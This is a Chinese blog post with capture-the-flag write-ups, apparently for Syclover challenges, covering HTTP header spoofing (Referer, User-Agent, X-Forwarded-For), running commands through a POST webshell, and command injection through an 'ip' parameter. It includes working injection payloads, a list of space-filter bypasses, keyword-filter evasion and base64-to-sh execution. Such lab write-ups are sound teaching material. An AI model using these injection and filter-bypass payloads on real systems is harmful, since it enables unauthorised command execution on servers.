x2658y's Blog

杂七杂八的记事本

进去之后, 按照惯例, 先查看源代码

image-20211031133550064

找到Secret.php这个页面, 进入

image-20211031133804874

看提示, 应该是Referer请求头检测, 判断从哪个网站跳转过来的, 上Fiddler

image-20211031134521678

Referer伪装好了, 又提示使用"Syclover"浏览器, 那么这次就是判断浏览器UA了, 我们把UA改成"Syclover"试试

image-20211031134743341

错误又变了, 这次说只能从本地访问, 根据前面的几次经验,这次应该还是判断请求头. 我们要找的那个请求头里肯定记录着请求发起方的IP, 我们只需要将IP改成本地环回地址127.0.0.1即可

经过一番查找, X-Forwarded-For这个记录着从源主机到经过的所有代理服务器IP,中间以逗号分隔. 为了方便, 我们只需要将其指定为127.0.0.1即可

image-20211031135902592

这样, 我们就拿到了flag~

参考资料

看页面提示, 就是个POST提交参数的webshell

image-20211031130415463

在源码里可以找到输出结果, 然后就是传统艺能, 到根目录去看看都有啥好玩意儿

image-20211031133142800

flag就在这里了

1
Syc=system("cd ../../../../../;ls -la;cat flag");
image-20211031133328805

看页面提示, 显然是get请求提交参数, 输入一个ip试试水

image-20211031001710090

正常回显, 来个ls看看

image-20211031001843555

嚯, 好家伙, flag.php就在这里了, 这不得cat flag.php搞它一手?

image-20211031002002407

还是Too Young, 空格被过滤不让用, 看样子肯定没那么简单, 那么就需要绕过空格

常见的绕过空格过滤的方法:

1
2
3
4
5
6
7
8
9
$IFS    //Ubuntu20.04测试通过, 但是后面不能直接跟字符,应该用字符变量.比如str1=fl;str2=ag.php;cat$IFS$str1$str2是对的,而cat$IFSflag是错的
${IFS} //Ubuntu20.04测试通过
$IFS$1 //Ubuntu20.04测试通过
$IFS$9 //Ubuntu20.04测试通过
< //Ubuntu20.04测试通过
<> //Ubuntu20.04测试通过
{cat,flag.php} //Ubuntu20.04测试通过
$'\x09' //Ubuntu20.04测试通过,\x09是制表符.使用方法,比如a=$'cat\x09flag';$a
$'\x20' //Ubuntu20.04测试通过,\x20是空格.使用方法同上
image-20211031115928471

emmmm, 空格是绕过去了, 但是还有一道flag关键词检测. 我们可以先看看index.php里的过滤规则:

1
ip=127.0.0.1;cat$IFS$1index.php
image-20211031124448093

可以看到过滤的内容还是相当多的, 最过分的是flag关键词检测, 可谓十分粗暴

方法一 定义变量绕过关键词检测:

1
ip=127.0.0.1;str1=fl;str2=ag.php;cat$IFS$str1$str2
image-20211031120239967

还是不行, 看样子是要flag四个字母顺序出现在命令里就不行, 那好办, 变量俩调换一下位置就可以了:

1
ip=127.0.0.1;str2=ag.php;str1=fl;cat$IFS$str1$str2
image-20211031122853535

回显没了? 不慌, 可能是注释, 查看源码, flag到手

image-20211031122921119

方法二 base64编码后解码执行

利用管道符, 先将命令用base64编码, 再解码传给sh执行, 这里还要采用%IFS$1绕过空格限制

1
ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

结果同上

方法三 利用反引号内联执行

同样的, 这里也需要用到$IFS$1绕过空格

1
ip=127.0.0.1;cat$IFS$1`ls`
image-20211031123455770

查看源码, 可见index.php和flag.php都被显示了出来

0%